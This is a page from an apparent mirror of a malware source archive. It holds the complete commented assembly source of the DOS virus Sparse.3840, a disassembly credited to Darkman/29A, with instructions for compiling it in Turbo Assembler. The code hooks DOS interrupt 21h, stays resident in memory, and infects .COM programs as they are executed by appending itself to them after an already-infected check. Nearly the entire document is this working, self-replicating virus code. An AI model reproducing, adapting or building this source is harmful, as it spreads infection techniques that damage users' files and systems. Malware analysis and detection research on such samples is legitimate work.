mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
357 lines
12 KiB
NASM
357 lines
12 KiB
NASM
comment *
|
|
Sparse.3840
|
|
Disassembly by
|
|
Darkman/29A
|
|
|
|
Sparse.3840 is a 3584 bytes parasitic resident COM virus. Infects at load
|
|
and/or execute program by appending the virus to the infected file.
|
|
|
|
To compile Sparse.3840 with Turbo Assembler v 4.0 type:
|
|
TASM /M SPARSE.ASM
|
|
TLINK /t /x SPARSE.OBJ
|
|
*
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h ; Origin of Sparse.3840
|
|
|
|
code_begin:
|
|
mov ax,4b55h ; Sparse.3840 function
|
|
int 21h
|
|
cmp ax,1231h ; Already resident?
|
|
je virus_exit ; Equal? Jump to virus_exit
|
|
|
|
mov ax,3521h ; Get interrupt vector 21h
|
|
int 21h
|
|
|
|
mov al,11101010b ; JMP imm32 (opcode 0eah)
|
|
mov [jmp_imm32],al ; Store JMP imm32 (opcode 0eah)
|
|
mov word ptr [int21_addr],bx
|
|
mov word ptr [int21_addr+02],es
|
|
|
|
mov ax,2521h ; Set interrupt vector 21h
|
|
lea dx,int21_virus ; DX = offset of int21_virus
|
|
int 21h
|
|
|
|
mov ah,4ah ; Resize memory block
|
|
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
|
|
mov bx,0efh ; BX = new size in paragraphs
|
|
int 21h
|
|
|
|
mov ah,48h ; Allocate memory
|
|
mov bx,1000h ; BX = number of paragraphs to all...
|
|
int 21h
|
|
|
|
db 89h,0c7h ; MOV DI,AX
|
|
db 89h,0c2h ; MOV DX,AX
|
|
|
|
mov ah,50h ; Set current PSP address
|
|
db 89h,0d3h ; MOV BX,DX
|
|
int 21h
|
|
|
|
mov ds,di ; DS = segment of allocated block
|
|
|
|
push ds ; Save DS at stack
|
|
pop es ; Load ES from stack (DS)
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
mov si,00h ; SI = offset of Program Segment P...
|
|
mov di,00h ; DI = " " " " "
|
|
mov cx,0ffh ; Move two hundred and fifty-five ...
|
|
|
|
cld ; Clear direction flag
|
|
move_psp:
|
|
lodsb ; AL = byte of Program Segment Pre...
|
|
stosb ; Store byte of Program Segment Pr...
|
|
|
|
loop move_psp
|
|
|
|
push es es ; Save segments at stack
|
|
pop ds ss ; Load segments from stack
|
|
|
|
mov bx,100h ; BX = offset of beginning of code
|
|
push es bx ; Save registers at stack
|
|
|
|
mov si,es ; SI = segment of PSP for current ...
|
|
dec si ; SI = segment of current Memory C...
|
|
mov ds,si ; DS = " " " " "
|
|
|
|
mov ds:[01h],es ; Store PSP segment of owner
|
|
|
|
mov si,es ; SI = segment of allocated memory
|
|
mov ds,si ; DS = " " " "
|
|
|
|
db 31h,0c0h ; XOR AX,AX
|
|
db 31h,0dbh ; XOR BX,BX
|
|
db 31h,0c9h ; XOR CX,CX
|
|
db 31h,0d2h ; XOR DX,DX
|
|
|
|
retf ; Return far!
|
|
|
|
db 0f9h,0fbh,0ffh,6fh,0f5h,1ah,03h dup(40h),03 dup(23h),20h
|
|
db 49h,42h
|
|
virus_exit:
|
|
push cs cs ; Save segments at stack
|
|
pop es ds ; Load segments from stack
|
|
|
|
lea si,restore ; SI = offset of restore
|
|
mov di,0a0h ; DI = offset within commandline/d...
|
|
|
|
cld ; Clear direction flag
|
|
move_restore:
|
|
lodsb ; AL = byte of restore
|
|
stosb ; Store byte of restore
|
|
|
|
cmp si,offset restore+(restore_end-restore)
|
|
jne move_restore
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0ff0ah ; Offset of beginning of code
|
|
db 0ah dup(00h),40h,44h,1eh dup(00h),60h,44h,1eh dup(00h)
|
|
db 80h,44h,1eh dup(00h)
|
|
int21_exit:
|
|
jmp_imm32 db 11101010b ; JMP imm32 (opcode 0eah)
|
|
int21_addr dw ? ; Address of interrupt 21h
|
|
db 1dh dup(00h),0c0h,44h,1eh dup(00h),0e0h,44h,1eh dup(00h)
|
|
|
|
restore proc near ; Restore the infected file
|
|
lea si,code_end+100h ; SI = offset of code_end+100h
|
|
mov di,100h ; DI = offset of beginning of code
|
|
mov cx,0ef00h ; Move sixty-one thousand and one ...
|
|
|
|
cld ; Clear direction flag
|
|
move_origina:
|
|
lodsb ; AL = byte of original code
|
|
stosb ; Store byte of original code
|
|
|
|
loop move_origina
|
|
|
|
mov ax,00h ; Zero AX
|
|
mov bx,00h ; Zero BX
|
|
mov cx,00h ; Zero CX
|
|
mov dx,00h ; Zero DX
|
|
mov di,00h ; Zero DI
|
|
mov si,00h ; Zero SI
|
|
|
|
db 11101011b ; JMP imm8 (opcode 0ebh)
|
|
db 3eh ; Offset of beginning of code
|
|
endp
|
|
restore_end:
|
|
db 1eh dup(00h),40h,45h,1eh dup(00h),60h,45h,1eh dup(00h)
|
|
db 80h,45h,1eh dup(00h)
|
|
int21_virus:
|
|
pushf ; Save flags at stack
|
|
sti ; Set interrupt-enable flag
|
|
|
|
cmp ah,4bh ; Load and/or execute program; Sp...?
|
|
je load_and_exe ; Equal? Jump to load_and_exe
|
|
|
|
popf ; Load flags from stack
|
|
|
|
jmp int21_exit
|
|
load_and_exe:
|
|
cmp al,55h ; Sparse.3840 function?
|
|
jne infect_file ; Not equal? Jump to infect_file
|
|
|
|
popf ; Load flags from stack
|
|
|
|
mov ax,1231h ; Already resident
|
|
|
|
iret ; Interrupt return!
|
|
infect_file:
|
|
push ax bx cx dx si di ds es
|
|
|
|
jmp tst_file_ext
|
|
allocate_mem:
|
|
mov ah,48h ; Allocate memory
|
|
mov bx,0fffh ; BX = number of paragraphs to all...
|
|
int 21h
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
mov ah,3dh ; Open file (read/write)
|
|
mov al,02h
|
|
int 21h
|
|
db 89h,0c3h ; MOV BX,AX
|
|
|
|
mov ah,42h ; Set current file position (EOF)
|
|
mov cx,00h ; CX:DX = offset from origin of ne...
|
|
mov dx,00h ; " " " " " " "
|
|
mov al,02h
|
|
int 21h
|
|
db 89h,0c1h ; MOV CX,AX
|
|
|
|
push cx ; Save CX at stack
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
mov cx,00h ; CX:DX = offset from origin of ne...
|
|
mov dx,00h ; " " " " " " "
|
|
int 21h
|
|
pop cx ; Load CX from stack
|
|
|
|
pop ds ; Load DS from stack (AX)
|
|
|
|
mov dx,00 ; DX = offset of original code
|
|
mov ah,3fh ; Read from file
|
|
push cx ; Save CX at stack
|
|
int 21h
|
|
|
|
mov ah,42h ; Set current file position (SOF)
|
|
mov cx,00h ; CX:DX = offset from origin of ne...
|
|
mov dx,00h ; " " " " " " "
|
|
mov al,00h
|
|
int 21h
|
|
|
|
jmp exam_file
|
|
write_virus:
|
|
mov ah,40h ; Write to file
|
|
|
|
push ds ; Save DS at stack
|
|
|
|
push cs ; Save CS at stack
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
mov cx,(code_end-code_begin+100h)
|
|
lea dx,code_begin ; DX = offset of code_begin
|
|
int 21h
|
|
|
|
pop ds ; Load DS from stack
|
|
|
|
mov ah,40h ; Write to file
|
|
mov dx,00h ; DX = offset of original code
|
|
pop cx ; Load CX from stack
|
|
int 21h
|
|
|
|
mov ah,49h ; Free memory
|
|
|
|
push ds ; Save DS at stack
|
|
pop es ; Load ES from stack (DS)
|
|
|
|
int 21h
|
|
close_file:
|
|
mov ah,3eh ; Close file
|
|
int 21h
|
|
infect_exit:
|
|
pop es ds di si dx cx bx ax
|
|
|
|
popf ; Load flags from stack
|
|
|
|
jmp int21_exit
|
|
|
|
db 12h dup(00h),40h,46h,1eh dup(00h),60h,46h,1eh dup(00h)
|
|
db 80h,46h,1eh dup(00h)
|
|
tst_file_ext:
|
|
db 89h,0d6h ; MOV SI,DX
|
|
|
|
cld ; Clear direction flag
|
|
find_dot:
|
|
lodsb ; AL = byte of filename
|
|
|
|
cmp al,'.' ; Found the dot in the filename?
|
|
jne find_dot ; Not equal? Jump to find_dot
|
|
|
|
lodsb ; AL = byte of file extension
|
|
cmp al,'C' ; COM extension?
|
|
je com_file_ext ; Equal? Jump to com_file_ext
|
|
cmp al,'c' ; COM extension?
|
|
je com_file_ext ; Equal? Jump to com_file_ext
|
|
|
|
jmp infect_exit
|
|
|
|
nop
|
|
com_file_ext:
|
|
jmp allocate_mem
|
|
|
|
db 08h dup(00h)
|
|
exam_file:
|
|
push ds es di si ; Save registers at stack
|
|
|
|
mov si,00h ; SI = offset of original code
|
|
|
|
push cs ; Save CS at stack
|
|
pop es ; Load ES from stack (CS)
|
|
|
|
lea di,code_begin ; DI = offset of code_begin
|
|
|
|
cld ; Clear direction flag
|
|
|
|
mov cx,09h ; Compare nine bytes
|
|
exam_file_:
|
|
cmpsb ; Already infected?
|
|
jne not_infected ; Not equal? Jump to not_infected
|
|
|
|
loop exam_file_
|
|
|
|
pop si di es ds ; Load registers from stack
|
|
pop cx ; Load CX from stack
|
|
|
|
jmp close_file
|
|
|
|
nop
|
|
nop
|
|
nop
|
|
not_infected:
|
|
pop si di es ds ; Load registers from stack
|
|
|
|
jmp write_virus
|
|
|
|
db 1ah dup(00h),47h,1eh dup(00h),20h,47h,1eh dup(00h),40h
|
|
db 47h,1eh dup(00h),60h,47h,1eh dup(00h),80h,47h
|
|
db 1eh dup(00h),0a0h,47h,1eh dup(00h),0c0h,47h,1eh dup(00h)
|
|
db 0e0h,47h,1fh dup(00h),48h,1eh dup(00h),20h,48h
|
|
db 1eh dup(00h),40h,48h,1eh dup(00h),60h,48h,1eh dup(00h)
|
|
db 80h,48h,1eh dup(00h),0a0h,48h,1eh dup(00h),0c0h,48h
|
|
db 1eh dup(00h),0e0h,48h,1fh dup(00h),49h,1eh dup(00h),20h
|
|
db 49h,1eh dup(00h),40h,49h,1eh dup(00h),60h,49h
|
|
db 1eh dup(00h),80h,49h,1eh dup(00h),0a0h,49h,1eh dup(00h)
|
|
db 0c0h,49h,1eh dup(00h),0e0h,49h,1fh dup(00h),4ah
|
|
db 02h dup(00h),07h,02h,19h,00h,07h,12h,19h,00h,07h,22h,19h
|
|
db 00h,07h,32h,19h,00h,07h,42h,19h,00,07h,52h,19h,00h,07h
|
|
db 62h,19h,00h,20h,4ah,02h dup(00h),07h,82h,19h,00h,07h,92h
|
|
db 19h,00h,07h,0a2h,19h,00h,07h,0b2h,19h,00h,07h,0c2h,19h
|
|
db 00h,07h,0d2h,19h,00h,07h,0e2h,19h,00h,40h,4ah
|
|
db 02h dup(00h),07h,02h,1ah,00h,07h,12h,1ah,00h,07h,22h,1ah
|
|
db 00h,07h,32h,1ah,00h,07h,42h,1ah,00h,07h,52h,1ah,00h,07h
|
|
db 62h,1ah,00h,60h,4ah,02h dup(00h),07h,82h,1ah,00h,07h,92h
|
|
db 1ah,00h,07h,0d2h,1ah,00h,07h,0e2h,1ah,00h,07h,0f2h,1ah
|
|
db 00h,07h,02h,1bh,00h,07h,12h,1bh,00h,80h,4ah,02h dup(00h)
|
|
db 07h,32h,1bh,00h,07h,42h,1bh,00h,07h,62h,1bh,00h,07h,72h
|
|
db 1bh,00h,07h,82h,1bh,00h,07h,0a2h,1bh,00h,07h,0b2h,1bh,00h
|
|
db 0a0h,4ah,02h dup(00h),07h,0d2h,1bh,00h,07h,0e2h,1bh,00h
|
|
db 07h,0f2h,1bh,00h,07h,02h,1ch,00h,07h,12h,1ch,00h,07h,22h
|
|
db 1ch,00h,07h,42h,1ch,00h,0c0h,4ah,02h dup(00h),07h,72h,1ch
|
|
db 00h,07h,82h,1ch,00h,07h,0c2h,1ch,00h,07h,0d2h,1ch,00h,07h
|
|
db 0e2h,1ch,00h,07h,0f2h,1ch,00h,07h,02h,1dh,00h,0e0h,4ah
|
|
db 1fh dup(00h),4bh,1eh dup(00h),20h,4bh,1eh dup(00h),40h
|
|
db 4bh,1eh dup(00h),60h,4bh,1eh dup(00h),80h,4bh
|
|
db 1eh dup(00h),0a0h,4bh,1eh dup(00h),0c0h,4bh,1eh dup(00h)
|
|
db 0e0h,4bh,1fh dup(00h),4ch,1eh dup(00h),20h,4ch
|
|
db 1eh dup(00h),40h,4ch,1eh dup(00h),60h,4ch,1eh dup(00h)
|
|
db 80h,4ch,1eh dup(00h),0a0h,4ch,1eh dup(00h),0c0h,4ch
|
|
db 1eh dup(00h),0e0h,4ch,1fh dup(00h),4dh,1eh dup(00h),20h
|
|
db 4dh,1eh dup(00h),40h,4dh,1eh dup(00h),60h,4dh
|
|
db 1eh dup(00h),80h,4dh,1eh dup(00h),0a0h,4dh,1eh dup(00h)
|
|
db 0c0h,4dh,1eh dup(00h),0e0h,4dh,1fh dup(00h),4eh
|
|
db 02h dup(00h),07h,32h,1dh,00h,07h,42h,1dh,00h,07h,52h,1dh
|
|
db 11h dup(00h),20h,4eh,1eh dup(00h),40h,4eh,1eh dup(00h)
|
|
db 60h,4eh,1eh dup(00h),80h,4eh,1eh dup(00h),0a0h,4eh
|
|
db 1eh dup(00h),0c0h,4eh,1eh dup(00h),0e0h,4eh,1fh dup(00h)
|
|
db 4fh,1eh dup(00h),20h,4fh,1eh dup(00h),40h,4fh
|
|
db 1eh dup(00h),60h,4fh,1eh dup(00h),80h,4fh,1eh dup(00h)
|
|
db 0a0h,4fh,1eh dup(00h),0c0h,4fh,1eh dup(00h),0e0h,4fh
|
|
db 1fh dup(00h),50h,1eh dup(00h),20h,50h,1eh dup(00h),40h
|
|
db 50h,1eh dup(00h),60h,50h,1eh dup(00h),80h,50h
|
|
db 1eh dup(00h),0a0h,50h,1eh dup(00h),0c0h,50h,1eh dup(00h)
|
|
db 0e0h,50h,1fh dup(00h),51h,1eh dup(00h),20h,51h
|
|
db 1eh dup(00h),40h,51h,1eh dup(00h),60h,51h,1eh dup(00h)
|
|
db 80h,51h,0eh dup(00h),4dh,17h,0ah,0ffh,0fh,03h dup(00h)
|
|
db 'SHELLC',02h dup(00h)
|
|
code_end:
|
|
int 20h ; Terminate program!
|
|
|
|
end code_begin
|